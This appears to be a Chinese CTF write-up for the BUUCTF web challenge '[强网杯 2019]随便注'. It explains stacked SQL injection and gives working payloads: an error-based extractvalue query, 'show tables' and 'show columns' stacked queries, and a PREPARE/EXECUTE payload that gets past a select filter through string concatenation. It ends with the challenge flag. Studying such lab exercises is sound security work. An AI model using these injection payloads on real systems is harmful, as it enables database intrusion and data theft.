[强网杯 2019]随便注

[强网杯 2019]随便注

题目来源:buuctf

题目类型:web

涉及考点:SQL注入、堆叠注入

1. 先简单介绍一下堆叠注入

在SQL语句中,分号用来表示一条语句的结束。那么当我们结束一条语句之后,继续构造下一条语句,可不可以一起执行呢?这就是堆叠注入,简单来说,就是把多条SQL语句一起上传。

例如,我们在进行union注入时会构造这样的语句:

select * from user where id=1 union select ...

而堆叠注入会构造这样的语句:

select * from user where id=1; show database(); ...

2. 接下来我们看到题目给了一个提交窗口,输入框内默认提交1

我们直接提交看看:

我们再提交个2:

传入值大于2之后就没有回显了,没得到什么有效的信息,那就直接尝试注入吧

3. 注入过程

  • 注入点在url中提示我们了,就是inject,并且利用get传参
  • 先判断闭合方式:

传入 1' 报错如下,可以判断闭合类型为单引号闭合

  • 我们先利用union注入查询数据库名,传入1' union select database()#,得到回显如下:
  • 可以发现上述关键字均被屏蔽,这时只能考虑使用堆叠注入:

传入1'; show database();#虽然回显不变,但是说明堆叠注入可行

  • 那怎么拿到数据库名呢,这时候就该利用报错注入了,因为报错注入里爆库名不需要利用到select,那么构造payload如:
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#

拿到库名:

  • 爆表名:
1';show tables#
  • 发现两张表,我们分别查看:
  1. 第一张
1';show columns from `1919810931114514`#
  1. 第二张
1';show columns from `words`#

这里在表名左右加单引号闭合的时候一直没有回显,看了其他师傅的wp才知道要用``做闭合,这里说明一下原因:

关于单引号 ' 和飘号 ` (个人习惯叫飘号),两者在linux下和windows下不同,linux下不区分,windows下区分

单引号 ' 或双引号 " 主要用于字符串的引用符号

飘号 ` 用于数据库、表、索引、列和别名

有MySQL保留字作为字段的,必须加上飘号来区分

  • 我们在第一张表中发现了flag,那么接下来需要查询id,利用堆叠注入构造payload如下:
-1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE payl from @sql;execute payl#

因为还是需要使用到select关键字,所以这里利用字符串拼接加执行函数execute解决。

最终得到flag:

flag{7e12ae2e-ef19-40a7-9e62-467eb6f949ba}

日期:2023.7.17

作者:y0Zero

posted @ 2023-07-17 22:37  y0Zero  阅读(114)  评论(0编辑  收藏  举报